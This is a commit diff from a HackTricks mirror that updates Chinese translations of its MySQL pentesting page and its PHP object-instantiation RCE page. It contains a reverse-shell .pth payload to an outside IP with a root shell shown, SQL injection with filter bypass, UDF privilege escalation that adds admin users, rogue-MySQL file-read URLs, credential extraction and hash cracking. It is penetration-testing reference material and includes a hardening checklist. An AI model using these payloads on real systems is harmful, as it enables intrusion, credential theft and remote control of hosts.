mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/content-security-policy-csp-bypass/R
This commit is contained in:
parent
6a98672dcd
commit
4d6fa9a77c
@ -4,9 +4,9 @@
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**MySQL** 可以被描述为一个开源的 **关系数据库管理系统 (RDBMS)**,是免费的。它基于 **结构化查询语言 (SQL)**,使得数据库的管理和操作成为可能。
|
||||
**MySQL** 可以被描述为一个开源的 **Relational Database Management System (RDBMS)**,可免费使用。它基于 **Structured Query Language (SQL)** 运行,能够对数据库进行管理和操作。
|
||||
|
||||
**默认端口:** 3306
|
||||
**默认端口:** 3306
|
||||
```
|
||||
3306/tcp open mysql
|
||||
```
|
||||
@ -22,9 +22,9 @@ mysql -u root -p # A password will be asked (check someone)
|
||||
mysql -h <Hostname> -u root
|
||||
mysql -h <Hostname> -u root@localhost
|
||||
```
|
||||
## External Enumeration
|
||||
## 外部枚举
|
||||
|
||||
某些枚举操作需要有效的凭据
|
||||
某些枚举操作需要有效凭证
|
||||
```bash
|
||||
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
|
||||
msf> use auxiliary/scanner/mysql/mysql_version
|
||||
@ -34,9 +34,9 @@ msf> use auxiliary/admin/mysql/mysql_enum #Creds
|
||||
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
|
||||
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
|
||||
```
|
||||
### [**暴力破解**](../generic-hacking/brute-force.md#mysql)
|
||||
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
|
||||
|
||||
### 写入任何二进制数据
|
||||
### 写入任意二进制数据
|
||||
```bash
|
||||
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
|
||||
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
|
||||
@ -101,68 +101,67 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||
#@ Functions not from sys. db
|
||||
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
|
||||
```
|
||||
您可以在文档中查看每个权限的含义:[https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
|
||||
你可以在文档中查看每个权限的含义:[https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
|
||||
|
||||
### MySQL 文件 RCE
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
|
||||
{{#endref}}
|
||||
|
||||
#### INTO OUTFILE → Python `.pth` RCE(特定于站点的配置钩子)
|
||||
#### INTO OUTFILE → Python `.pth` RCE (特定站点的配置钩子)
|
||||
|
||||
利用经典的 `INTO OUTFILE` 原语,可以在后续运行 **Python** 脚本的目标上获得 *任意代码执行*。
|
||||
滥用经典的 `INTO OUTFILE` 原语,可以在之后运行 **Python** 脚本的目标上获得*任意代码执行*。
|
||||
|
||||
1. 使用 `INTO OUTFILE` 在任何由 `site.py` 自动加载的目录中放置自定义 **`.pth`** 文件(例如 `.../lib/python3.10/site-packages/`)。
|
||||
2. `.pth` 文件可以包含以 `import ` 开头的 *单行*,后面跟随任意 Python 代码,每次解释器启动时都会执行。
|
||||
3. 当解释器通过 CGI 脚本隐式执行时(例如 `/cgi-bin/ml-draw.py`,shebang 为 `#!/bin/python`),有效载荷将以与 web 服务器进程相同的权限执行(FortiWeb 以 **root** 身份运行它 → 完全的预认证 RCE)。
|
||||
1. 使用 `INTO OUTFILE` 将自定义 **`.pth`** 文件写入由 `site.py` 自动加载的任意目录(例如 `.../lib/python3.10/site-packages/`)。
|
||||
2. `.pth` 文件可以包含以 `import ` 开头的*单行*,后跟任意 Python 代码,解释器每次启动时都会执行该代码。
|
||||
3. 当解释器被 CGI 脚本隐式执行时(例如带有 shebang `#!/bin/python` 的 `/cgi-bin/ml-draw.py`),payload 会以与 Web 服务器进程相同的权限执行(FortiWeb 将其作为 **root** 运行 → 完整的 pre-auth RCE)。
|
||||
|
||||
示例 `.pth` 有效载荷(单行,最终 SQL 有效载荷中不能包含空格,因此可能需要使用 hex/`UNHEX()` 或字符串连接):
|
||||
示例 `.pth` payload(单行,最终的 SQL payload 中不能包含空格,因此可能需要使用 hex/`UNHEX()` 或字符串拼接):
|
||||
```python
|
||||
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
||||
```
|
||||
通过**UNION**查询构造文件的示例(用`/**/`替换空格字符,以绕过`sscanf("%128s")`空格过滤器,并保持总长度≤128字节):
|
||||
通过 **UNION** 查询构造文件的示例(将空格字符替换为 `/**/` 以绕过 `sscanf("%128s")` 的空格过滤并将总长度保持在 ≤128 字节):
|
||||
```sql
|
||||
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
|
||||
```
|
||||
重要的限制和绕过:
|
||||
重要限制与绕过:
|
||||
|
||||
* `INTO OUTFILE` **不能覆盖** 已存在的文件;选择一个新文件名。
|
||||
* 文件路径是 **相对于 MySQL 的当前工作目录** 解析的,因此在前面加上 `../../` 有助于缩短路径并绕过绝对路径限制。
|
||||
* 如果攻击者输入使用 `%128s`(或类似)提取,任何空格都会截断有效负载;使用 MySQL 注释序列 `/**/` 或 `/*!*/` 来替换空格。
|
||||
* 运行查询的 MySQL 用户需要 `FILE` 权限,但在许多设备(例如 FortiWeb)中,服务以 **root** 身份运行,几乎在任何地方都可以写入。
|
||||
* `INTO OUTFILE` **不能覆盖** 已存在的文件;请选择一个新的文件名。
|
||||
* 文件路径是 **relative to MySQL’s CWD** 解析的,因此在前面加 `../../` 有助于缩短路径并绕过绝对路径限制。
|
||||
* 如果攻击者输入是通过 `%128s`(或类似)提取的,任何空格都会截断载荷;使用 MySQL 注释序列 `/**/` 或 `/*!*/` 来替代空格。
|
||||
* 执行查询的 MySQL 用户需要 `FILE` 权限,但在许多设备(例如 FortiWeb)中,服务以 **root** 身份运行,从而几乎在任何地方都有写入权限。
|
||||
|
||||
在删除 `.pth` 后,只需请求任何由 Python 解释器处理的 CGI 以获取代码执行:
|
||||
在写入 `.pth` 后,只需请求任何由 python 解释器处理的 CGI 即可获得代码执行:
|
||||
```
|
||||
GET /cgi-bin/ml-draw.py HTTP/1.1
|
||||
Host: <target>
|
||||
```
|
||||
Python 进程将自动导入恶意的 `.pth` 文件并执行 shell 负载。
|
||||
Python 进程会自动导入恶意的 `.pth` 并执行 shell payload。
|
||||
```
|
||||
# Attacker
|
||||
$ nc -lvnp 4444
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
---
|
||||
## MySQL 通过客户端任意读取文件
|
||||
|
||||
## MySQL 任意读取客户端文件
|
||||
|
||||
实际上,当你尝试 **load data local into a table** 文件的 **内容** 时,MySQL 或 MariaDB 服务器会要求 **客户端读取它** 并发送内容。 **然后,如果你可以篡改一个 mysql 客户端以连接到你自己的 MySQL 服务器,你就可以读取任意文件。**\
|
||||
请注意,这是使用以下方式的行为:
|
||||
实际上,当你尝试使用 **load data local into a table** 将 **文件的内容** 导入表时,MySQL 或 MariaDB 服务器会要求 **客户端读取该文件** 并发送内容。**因此,如果你能篡改一个 mysql 客户端,使其连接到你自己的 MySQL 服务器,就可以读取任意文件。**\
|
||||
Please notice that this is the behaviour using:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
```
|
||||
(注意“local”这个词)\
|
||||
因为没有“local”,你可能会得到:
|
||||
(注意 "local" 这个词)\
|
||||
因为没有 "local" 你可能会得到:
|
||||
```bash
|
||||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
|
||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||
```
|
||||
**初始 PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**在这篇论文中,您可以看到攻击的完整描述,甚至如何将其扩展到 RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**在这里您可以找到攻击的概述:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
|
||||
|
||||
|
||||
@ -172,23 +171,23 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
|
||||
|
||||
### Mysql 用户
|
||||
|
||||
如果 mysql 以 **root** 身份运行,那将非常有趣:
|
||||
如果 mysql 以 **root** 身份运行,将会非常有趣:
|
||||
```bash
|
||||
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
|
||||
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
|
||||
```
|
||||
#### mysqld.cnf 的危险设置
|
||||
|
||||
在 MySQL 服务的配置中,使用各种设置来定义其操作和安全措施:
|
||||
在 MySQL 服务的配置中,使用了多种设置来定义其运行和安全措施:
|
||||
|
||||
- **`user`** 设置用于指定 MySQL 服务将以哪个用户身份执行。
|
||||
- **`password`** 用于建立与 MySQL 用户相关联的密码。
|
||||
- **`user`** 设置用于指定 MySQL 服务将以哪个用户身份运行。
|
||||
- **`password`** 用于为 MySQL 用户设置密码。
|
||||
- **`admin_address`** 指定在管理网络接口上监听 TCP/IP 连接的 IP 地址。
|
||||
- **`debug`** 变量指示当前的调试配置,包括日志中的敏感信息。
|
||||
- **`sql_warnings`** 管理在出现警告时是否为单行 INSERT 语句生成信息字符串,这些字符串包含日志中的敏感数据。
|
||||
- 使用 **`secure_file_priv`**,数据导入和导出操作的范围受到限制,以增强安全性。
|
||||
- **`debug`** 变量表示当前的调试配置,可能会将敏感信息写入日志。
|
||||
- **`sql_warnings`** 控制在单行 INSERT 语句出现警告时是否生成信息字符串,可能导致敏感数据出现在日志中。
|
||||
- 通过 **`secure_file_priv`** 可限制数据导入导出的范围以增强安全性。
|
||||
|
||||
### 权限提升
|
||||
### Privilege escalation
|
||||
```bash
|
||||
# Get current user (an all users) privileges and hashes
|
||||
use mysql;
|
||||
@ -206,18 +205,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
# Get a shell (with your permissions, usefull for sudo/suid privesc)
|
||||
\! sh
|
||||
```
|
||||
### 特权提升通过库
|
||||
### 通过库的权限提升
|
||||
|
||||
如果 **mysql 服务器以 root 身份运行**(或其他更高权限的用户),您可以使其执行命令。为此,您需要使用 **用户定义函数**。要创建用户定义函数,您需要一个 **库**,该库用于运行 mysql 的操作系统。
|
||||
如果 **mysql server is running as root**(或以其他更高权限的用户运行),你可以让它执行命令。为此,你需要使用 **user defined functions**。而要创建 user defined,你需要一个适用于运行 mysql 的操作系统的 **library**。
|
||||
|
||||
可以在 sqlmap 和 metasploit 中找到要使用的恶意库,通过执行 **`locate "*lib_mysqludf_sys*"`**。**`.so`** 文件是 **linux** 库,**`.dll`** 是 **Windows** 库,选择您需要的。
|
||||
可用的恶意库可以在 sqlmap 和 metasploit 中找到,方法是执行 **`locate "*lib_mysqludf_sys*"`**。**`.so`** 文件是 **linux** 库,**`.dll`** 是 **Windows** 的,选择你需要的那个。
|
||||
|
||||
如果您 **没有** 这些库,您可以 **寻找它们**,或下载这个 [**linux C 代码**](https://www.exploit-db.com/exploits/1518) 并 **在 linux 漏洞机器中编译**:
|
||||
如果你 **没有** 那些库,你可以 **寻找它们**,或者下载这个 [**linux C code**](https://www.exploit-db.com/exploits/1518) 并在 **linux vulnerable machine** 中 **编译它**:
|
||||
```bash
|
||||
gcc -g -c raptor_udf2.c
|
||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||
```
|
||||
现在您已经拥有了库,请以特权用户(root?)身份登录Mysql,并按照以下步骤操作:
|
||||
现在你已经拿到该库,以特权用户(root?)登录到 Mysql,并按照以下步骤操作:
|
||||
|
||||
#### Linux
|
||||
```sql
|
||||
@ -251,29 +250,38 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
|
||||
SELECT sys_exec("net user npn npn12345678 /add");
|
||||
SELECT sys_exec("net localgroup Administrators npn /add");
|
||||
```
|
||||
#### Windows 提示:通过 SQL 使用 NTFS ADS 创建目录
|
||||
|
||||
在 NTFS 上,即使只有文件写入原语,也可以利用 alternate data stream 强制创建目录。如果经典的 UDF 链需要 `plugin` 目录,但该目录不存在且 `@@plugin_dir` 未知或被锁定,你可以先使用 `::$INDEX_ALLOCATION` 创建它:
|
||||
```sql
|
||||
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
|
||||
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
|
||||
```
|
||||
这会将受限的 `SELECT ... INTO OUTFILE` 在 Windows 堆栈上转变为更完整的原语,通过搭建 UDF drops 所需的文件夹结构。
|
||||
|
||||
### 从文件中提取 MySQL 凭据
|
||||
|
||||
在 _/etc/mysql/debian.cnf_ 中,您可以找到用户 **debian-sys-maint** 的 **明文密码**。
|
||||
在 _/etc/mysql/debian.cnf_ 中可以找到用户 **debian-sys-maint** 的**明文密码**。
|
||||
```bash
|
||||
cat /etc/mysql/debian.cnf
|
||||
```
|
||||
您可以**使用这些凭据登录mysql数据库**。
|
||||
你可以 **使用这些凭据登录 mysql 数据库**。
|
||||
|
||||
在文件: _/var/lib/mysql/mysql/user.MYD_ 中,您可以找到**所有MySQL用户的哈希值**(您可以从数据库中的mysql.user提取的那些)_。
|
||||
在文件: _/var/lib/mysql/mysql/user.MYD_ 中你可以找到 **所有 MySQL users 的 hashes**(这些是你可以从数据库内部的 mysql.user 提取出的那些)_._
|
||||
|
||||
您可以通过以下方式提取它们:
|
||||
你可以通过以下方式提取它们:
|
||||
```bash
|
||||
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
|
||||
```
|
||||
### 启用日志记录
|
||||
|
||||
您可以通过取消注释以下行在 `/etc/mysql/my.cnf` 中启用 mysql 查询的日志记录:
|
||||
你可以在 `/etc/mysql/my.cnf` 中取消注释以下行以启用 mysql 查询的日志记录:
|
||||
|
||||
.png>)
|
||||
|
||||
### 有用的文件
|
||||
|
||||
配置文件
|
||||
Configuration Files
|
||||
|
||||
- windows \*
|
||||
- config.ini
|
||||
@ -288,9 +296,9 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
|
||||
- /var/lib/mysql/my.cnf
|
||||
- \~/.my.cnf
|
||||
- /etc/my.cnf
|
||||
- 命令历史
|
||||
- Command History
|
||||
- \~/.mysql.history
|
||||
- 日志文件
|
||||
- Log Files
|
||||
- connections.log
|
||||
- update.log
|
||||
- common.log
|
||||
@ -646,36 +654,36 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||
|
||||
```
|
||||
## 2023-2025 亮点 (新)
|
||||
## 2023-2025 亮点(新)
|
||||
|
||||
### JDBC `propertiesTransform` 反序列化 (CVE-2023-21971)
|
||||
从 Connector/J <= 8.0.32 开始,攻击者如果能够影响 **JDBC URL**(例如在要求连接字符串的第三方软件中),可以通过 `propertiesTransform` 参数请求在 *客户端* 加载任意类。如果类路径中存在可加载的 gadget,这将导致 **在 JDBC 客户端上下文中远程代码执行**(预认证,因为不需要有效凭据)。一个最小的 PoC 看起来像:
|
||||
### JDBC `propertiesTransform` deserialization(CVE-2023-21971)
|
||||
在 Connector/J <= 8.0.32 中,如果攻击者能够影响 **JDBC URL**(例如在要求连接字符串的第三方软件中),则可以通过 `propertiesTransform` 参数请求在*客户端*加载任意类。如果类路径上存在可加载的 gadget,这将导致 **remote code execution in the context of the JDBC client**(pre-auth,因为不需要有效 credentials)。一个最小的 PoC 如下:
|
||||
```java
|
||||
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
|
||||
```
|
||||
运行 `Evil.class` 可以像将其放置在易受攻击应用程序的类路径上或让恶意 MySQL 服务器发送恶意序列化对象一样简单。此问题已在 Connector/J 8.0.33 中修复 - 升级驱动程序或明确将 `propertiesTransform` 设置在允许列表上。
|
||||
(有关详细信息,请参见 Snyk 的文章)
|
||||
Running `Evil.class` can be as easy as producing it on the class-path of the vulnerable application or letting a rogue MySQL server send a malicious serialized object. The issue was fixed in Connector/J 8.0.33 – upgrade the driver or explicitly set `propertiesTransform` on an allow-list.
|
||||
(See Snyk write-up for details)
|
||||
|
||||
### 针对 JDBC 客户端的恶意 / 虚假 MySQL 服务器攻击
|
||||
几个开源工具实现了 *部分* MySQL 协议,以攻击连接到外部的 JDBC 客户端:
|
||||
### 针对 JDBC 客户端 的 Rogue / Fake MySQL 服务器 攻击
|
||||
若干开源工具实现了部分 MySQL 协议,以攻击向外连接的 JDBC 客户端:
|
||||
|
||||
* **mysql-fake-server**(Java,支持文件读取和反序列化漏洞)
|
||||
* **rogue_mysql_server**(Python,具有类似功能)
|
||||
* **mysql-fake-server** (Java, supports file read and deserialization exploits)
|
||||
* **rogue_mysql_server** (Python, similar capabilities)
|
||||
|
||||
典型攻击路径:
|
||||
|
||||
1. 受害者应用程序加载 `mysql-connector-j`,并将 `allowLoadLocalInfile=true` 或 `autoDeserialize=true`。
|
||||
2. 攻击者控制 DNS / 主机条目,使数据库的主机名解析到他们控制的机器上。
|
||||
3. 恶意服务器以触发 `LOCAL INFILE` 任意文件读取或 Java 反序列化 → RCE 的方式响应精心制作的数据包。
|
||||
1. 受害应用加载 `mysql-connector-j`,并设置 `allowLoadLocalInfile=true` 或 `autoDeserialize=true`。
|
||||
2. 攻击者控制 DNS / host 条目,使数据库的主机名解析到其控制的机器上。
|
||||
3. 恶意服务器用精心构造的数据包响应,触发 `LOCAL INFILE` 任意文件读取 或 Java deserialization → RCE。
|
||||
|
||||
启动虚假服务器的示例一行命令(Java):
|
||||
Example one-liner to start a fake server (Java):
|
||||
```bash
|
||||
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
|
||||
```
|
||||
然后将受害者应用程序指向 `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true`,并通过在 *username* 字段中将文件名编码为 base64 来读取 `/etc/passwd`(`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`)。
|
||||
然后将目标应用指向 `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true`,并通过在 *username* 字段中将文件名以 base64 编码来读取 `/etc/passwd`(`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`)。
|
||||
|
||||
### 破解 `caching_sha2_password` 哈希
|
||||
MySQL ≥ 8.0 将密码哈希存储为 **`$mysql-sha2$`**(SHA-256)。Hashcat(模式 **21100**)和 John-the-Ripper(`--format=mysql-sha2`)自 2023 年以来支持离线破解。转储 `authentication_string` 列并直接输入:
|
||||
### Cracking `caching_sha2_password` hashes
|
||||
MySQL ≥ 8.0 将密码哈希以 **`$mysql-sha2$`**(SHA-256)存储。Hashcat (mode **21100**) 和 John-the-Ripper (`--format=mysql-sha2`) 自 2023 年起支持 offline cracking。导出 `authentication_string` 列并直接喂入:
|
||||
```bash
|
||||
# extract hashes
|
||||
echo "$mysql-sha2$AABBCC…" > hashes.txt
|
||||
@ -684,19 +692,22 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
|
||||
# John the Ripper
|
||||
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
|
||||
```
|
||||
### 硬化检查清单 (2025)
|
||||
• 设置 **`LOCAL_INFILE=0`** 和 **`--secure-file-priv=/var/empty`** 以杀死大多数文件读取/写入原语。
|
||||
• 从应用程序帐户中移除 **`FILE`** 权限。
|
||||
• 在 Connector/J 中设置 `allowLoadLocalInfile=false`,`allowUrlInLocalInfile=false`,`autoDeserialize=false`,`propertiesTransform=`(空)。
|
||||
• 禁用未使用的身份验证插件并 **要求 TLS**(`require_secure_transport = ON`)。
|
||||
• 监控 `CREATE FUNCTION`,`INSTALL COMPONENT`,`INTO OUTFILE`,`LOAD DATA LOCAL` 和突发的 `SET GLOBAL` 语句。
|
||||
### 加固清单 (2025)
|
||||
• 将 **`LOCAL_INFILE=0`** 和 **`--secure-file-priv=/var/empty`** 设置好,以禁用大多数文件读/写原语。
|
||||
• 从应用账号移除 **`FILE`** 权限。
|
||||
• 在 Connector/J 上设置 `allowLoadLocalInfile=false`、`allowUrlInLocalInfile=false`、`autoDeserialize=false`、`propertiesTransform=`(留空)。
|
||||
• 禁用未使用的认证插件并**强制使用 TLS**(`require_secure_transport = ON`)。
|
||||
• 监控是否出现 `CREATE FUNCTION`、`INSTALL COMPONENT`、`INTO OUTFILE`、`LOAD DATA LOCAL` 以及突发的 `SET GLOBAL` 语句。
|
||||
|
||||
---
|
||||
|
||||
## 参考文献
|
||||
## 参考资料
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
|
||||
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
|
||||
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
|
@ -1,18 +1,18 @@
|
||||
# PHP - RCE 滥用对象创建: new $\_GET\["a"]\($\_GET\["b"])
|
||||
# PHP - RCE 滥用对象创建: new $_GET["a"]($_GET["b"])
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
这基本上是对 [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) 的总结
|
||||
这基本上是 [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) 的摘要
|
||||
|
||||
## 介绍
|
||||
|
||||
创建新的任意对象,例如 `new $_GET["a"]($_GET["a"])`,可能导致远程代码执行 (RCE),如 [**写作**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) 中详细说明的那样。本文档强调了实现 RCE 的各种策略。
|
||||
创建任意新对象,例如 `new $_GET["a"]($_GET["a"])`,可能导致远程代码执行 (RCE),如 [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) 所述。本文件强调实现 RCE 的各种策略。
|
||||
|
||||
## 通过自定义类或自动加载实现 RCE
|
||||
## 通过自定义类或 Autoloading 实现 RCE
|
||||
|
||||
语法 `new $a($b)` 用于实例化一个对象,其中 **`$a`** 代表类名,**`$b`** 是传递给构造函数的第一个参数。这些变量可以来自用户输入,如 GET/POST,可能是字符串或数组,或来自 JSON,可能呈现为其他类型。
|
||||
语法 `new $a($b)` 用于实例化对象,其中 **`$a`** 表示类名,**`$b`** 是传递给构造函数的第一个参数。这些变量可以来自用户输入(例如 GET/POST),可能是字符串或数组,也可以来自 JSON,在那里它们可能表现为其他类型。
|
||||
|
||||
考虑下面的代码片段:
|
||||
考虑下面的代码片段:
|
||||
```php
|
||||
class App {
|
||||
function __construct ($cmd) {
|
||||
@ -31,9 +31,9 @@ $b = $_GET['b'];
|
||||
|
||||
new $a($b);
|
||||
```
|
||||
在这种情况下,将 `$a` 设置为 `App` 或 `App2`,将 `$b` 设置为系统命令(例如,`uname -a`)会导致该命令的执行。
|
||||
在这种情况下,将 `$a` 设置为 `App` 或 `App2`,并将 `$b` 设置为一个系统命令(例如 `uname -a`),会导致该命令被执行。
|
||||
|
||||
**自动加载函数** 可以被利用,如果没有这样的类可以直接访问。这些函数在需要时会自动从文件加载类,并使用 `spl_autoload_register` 或 `__autoload` 定义:
|
||||
**Autoloading functions** 可以被利用,如果没有这些类可以直接访问。 这些函数在需要时会自动从文件加载类,并通过 `spl_autoload_register` 或 `__autoload` 定义:
|
||||
```php
|
||||
spl_autoload_register(function ($class_name) {
|
||||
include './../classes/' . $class_name . '.php';
|
||||
@ -45,52 +45,76 @@ include $class_name . '.php';
|
||||
|
||||
spl_autoload_register();
|
||||
```
|
||||
autoloading 的行为因 PHP 版本而异,提供不同的 RCE 可能性。
|
||||
自动加载(autoloading)的行为因 PHP 版本而异,从而提供不同的 RCE 可能性。
|
||||
|
||||
## 通过内置类进行 RCE
|
||||
## 通过内置类的 RCE
|
||||
|
||||
在缺乏自定义类或自动加载器的情况下,**内置 PHP 类**可能足以实现 RCE。这些类的数量根据 PHP 版本和扩展的不同而在 100 到 200 之间。可以使用 `get_declared_classes()` 列出它们。
|
||||
如果缺少自定义类或自动加载器,**内置的 PHP 类** 可能足以实现 RCE。这些类的数量通常在 100 到 200 之间,取决于 PHP 版本和所安装的扩展。可以使用 `get_declared_classes()` 列出它们。
|
||||
|
||||
可以通过反射 API 识别感兴趣的构造函数,如以下示例所示,以及链接 [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)。
|
||||
可以通过反射 API 找出感兴趣的构造函数,如下面的示例和链接 [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) 所示。
|
||||
|
||||
**通过特定方法进行 RCE 包括:**
|
||||
**通过特定方法的 RCE 包括:**
|
||||
|
||||
### **SSRF + Phar 反序列化**
|
||||
### **SSRF + Phar Deserialization**
|
||||
|
||||
`SplFileObject` 类通过其构造函数启用 SSRF,允许连接到任何 URL:
|
||||
`SplFileObject` 类通过其构造函数启用 SSRF,允许连接到任意 URL:
|
||||
```php
|
||||
new SplFileObject('http://attacker.com/');
|
||||
```
|
||||
SSRF 可以导致在 8.0 之前的 PHP 版本中使用 Phar 协议的反序列化攻击。
|
||||
SSRF 可能在使用 Phar 协议时导致 PHP 8.0 之前版本的 deserialization attacks。
|
||||
|
||||
### **利用 PDOs**
|
||||
|
||||
PDO 类构造函数允许通过 DSN 字符串连接到数据库,可能会启用文件创建或其他交互:
|
||||
PDO 类的构造函数允许通过 DSN strings 连接到数据库,可能允许文件创建或其他交互:
|
||||
```php
|
||||
new PDO("sqlite:/tmp/test.txt")
|
||||
```
|
||||
### **SoapClient/SimpleXMLElement XXE**
|
||||
|
||||
PHP 版本高达 5.3.22 和 5.4.12 易受通过 `SoapClient` 和 `SimpleXMLElement` 构造函数的 XXE 攻击,具体取决于 libxml2 的版本。
|
||||
PHP 到 5.3.22 和 5.4.12 的版本容易受到通过 `SoapClient` 和 `SimpleXMLElement` 构造函数的 XXE 攻击,具体取决于 libxml2 的版本。
|
||||
|
||||
## RCE via Imagick Extension
|
||||
## RCE 通过 Imagick 扩展
|
||||
|
||||
在对 **项目依赖** 的分析中,发现 **Imagick** 可以通过实例化新对象来实现 **命令执行**。这为利用漏洞提供了机会。
|
||||
在对**项目依赖项**的分析中,发现通过实例化新对象可以利用 **Imagick** 进行**命令执行**。这提供了利用漏洞的机会。
|
||||
|
||||
### VID 解析器
|
||||
### VID parser
|
||||
|
||||
识别到 VID 解析器能够将内容写入文件系统中的任何指定路径。这可能导致在可通过网络访问的目录中放置 PHP shell,从而实现远程代码执行 (RCE)。
|
||||
发现 VID 解析器能够将内容写入文件系统中的任意指定路径。这可能导致将 PHP shell 放置到可通过 Web 访问的目录中,从而实现远程代码执行(RCE)。
|
||||
|
||||
#### VID 解析器 + 文件上传
|
||||
#### VID Parser + File Upload
|
||||
|
||||
注意到 PHP 会将上传的文件临时存储在 `/tmp/phpXXXXXX` 中。Imagick 中的 VID 解析器利用 **msl** 协议,可以处理文件路径中的通配符,便于将临时文件转移到选定位置。这种方法提供了在文件系统中实现任意文件写入的额外途径。
|
||||
